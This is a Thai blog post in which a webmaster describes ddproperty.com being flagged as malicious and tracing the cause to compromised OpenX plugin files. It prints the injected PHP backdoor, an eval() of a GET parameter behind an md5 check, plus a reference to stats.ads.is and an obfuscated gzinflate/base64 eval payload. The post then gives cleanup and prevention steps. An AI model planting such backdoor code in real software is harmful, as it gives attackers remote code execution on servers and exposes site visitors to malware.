เมื่อเวป ddproperty.com โดนระบุว่าเป็นอันตราย!!
เมื่อวันที่ 22 มีนาคม เกิดปัญหาขึ้นกับเวป ddproperty.com ครับ เรื่องของเรื่องมีอยู่ว่า Chrome ไม่ยอมให้ผมเข้าเวป โดยแจ้งว่า อาจจะติด Malware ได้ ปฎิกิริยาแรกคือ เหงื่อตก – -” โดนอะไรเข้า (วะ) เนี้ย
พอลองหาข้อมูลดู เลยพบว่าเวปเราโดน Google เข้าใจว่ามีการเรียกเวปที่เป็น Trojan จากเวป ddproperty.com บางหน้า Google ก็บอกให้ไปดู Guide line ยาวเยียดเลย พอผมบ่นไปทาง twitter คุณ @iampz แนะนำมาว่าให้เข้าไปดูใน Webmaster Tool ผมเลยได้แบะแสว่ามันมาจาก openx (ขอบคุณ @iampz อีกทีครับ) เพราะใน section Labs ของ Webmaster Tool แจ้งว่า openx code เป็นปัญหา
แต่เนื่องจากผมไม่ได้มีความรู้อะไรกับ openx เลยนอกจาก ลงตาม installation wizard ที่แสนจะง่าย บวกกับความรู้ php แค่หางอึ่ง งานหนักเลยเป็นการค้นหาว่าตัวปัญหามันอยู่ที่ไหน สุดท้ายไปเจอ blog ของท่านหนึ่งเขียนไว้เรื่องปัญหาความปลอดภัยของ openx ผมเลยสามารถแก้ปัญหาได้
เผื่อมีประโยชน์กับท่านอื่นๆ ผมขอเล่าประสบการณ์ให้ฟังครับ
- ปัญหาที่เจอคือมีการแก้ไข plugin ของ openx ให้ไปเรียกเวป ads.is ซึ่งเป็นตัว distribute พวกเวป trojan อีกทีครับ
- files แรก ที่ผมเจอว่ามีปัญหาคือ ./openx/var/plugins/cache/mergedDeliveryFunctions.php โดยมี code แปลกปลอมแบบนี้แปะเพิ่มมาครับ อันนี้หาเจอเพราะว่าดูจาก blog ข้างต้นครับ
$urlw = "http://stats.ads.is/stats?counter=128";
$asiebc = 'ade93d134c231cea7b0b5619bff4f82f';
if (isset($_GET['dothis']) && (md5($_GET['code'])==$asiebc)) eval($_GET['dothis']);
if (strpos($_SERVER['REQUEST_URI'],"/afr.php") or strpos($_SERVER['REQUEST_URI'],"/adframe.php")) {
if (!isset($_COOKIE['OADSA'])) {
setcookie("OADSA", 1, time()+3600);
echo "\n";
}
} elseif (strpos($_SERVER['REQUEST_URI'],"/ajs.php") or strpos($_SERVER['REQUEST_URI'],"/spcjs.php") or strpos($_SERVER['REQUEST_URI'],"/adjs.php")) {
if (!isset($_COOKIE['OADSA'])) {
setcookie("OADSA", 1, time()+3600);
echo "document.write('');\n";
}
}
- file ที่สองที่พบปัญหาคือ ./openx/plugins/bannerTypeHtml/oxHtml/genericHtml.delivery.php โดยมี eval พวก encode แปลกๆแปะไว้ยาวมาก
if (basename($_SERVER['PHP_SELF'])=='genericHtml.delivery.php') {
eval(gzinflate(base64_decode("FJ3HjtvYFkX/5Y0McMCchoxiznnywCjmnL++VUAbaMC2LF6ds/daUkkqz7T/932bserTvfyXpVtJYP8vynwqyn//ExVUylcrF7qowmMCUL9ZZ3DeKDGOnk1Dnt+KBQLm7CJhC9EICZOyqG34CRI0MazSdqLnrYHwwcYSbT3Ao7ogAPq072d9Aaqg7bhMedE0FvfSeHgr3LN3pbg0ZDHcFZBQGG0Ga8wzNuW+KY1CrW5S1dWBYd+Z76rHKNon5IYQ0IfQd5BFJvvsHc4ltxVxBUdciM .... - พอลบสอง files นี้ไปแล้ว ก็ขอให้ Google Review เวปเราใหม่ โดยภายใน 6-8 ชั่วโมง Google ก็จะเข้ามา index แล้ว review ถ้าไม่เจอปัญหาก็จะเอาข้อความเตือนออกให้ครับ ตรงข้อนี้ผมเสียเวลาไปเยอะ เนื่องจากตอนแรกยังหาปัญหาไม่เจอ แต่ว่าดันขอ review ไปก่อน พอ Google ยังเจอปัญหาอยู่เลยต้องรอ review รอบใหม่
- เท่าที่ลองหาข้อมูลดู openx version เก่าๆ มีปัญหาเรื่องความปลอดภัยอยู่ ทำให้ hacker ใช้จู่โจมและวาง code พวกนี้ในเครื่องเราได้ครับ upgrade จรเป็น version ใหม่ๆดีกว่าครับ
- จริงๆปัญหาพวกนี้เราสามารถป้องกันได้ ทั้งการ upgrade openx อยู่เสมอ หรือว่าคอยตรวจสอบ log file เพื่อดูว่ามีการเปลี่ยนแปลงอะไรในระบบบ้าง เนื่องจากจริงๆ ผมโดนวางยาตั้งแต่กลางเดือนกุมภาพันธ์แล้วครับ ถ้าใส่ใจดูแลหน่อยก็คงเห็น log เรื่อง update plugin แปลกๆที่เราไม่ได้ทำไปนานแล้วครับ
จบเรื่องนี้ไป ผมได้ความรู้ใหม่ไปหลายอย่าง และได้ตระหนักว่า งาน system admin มีความสำคัญไม่แพ้งาน develop เลยครับ
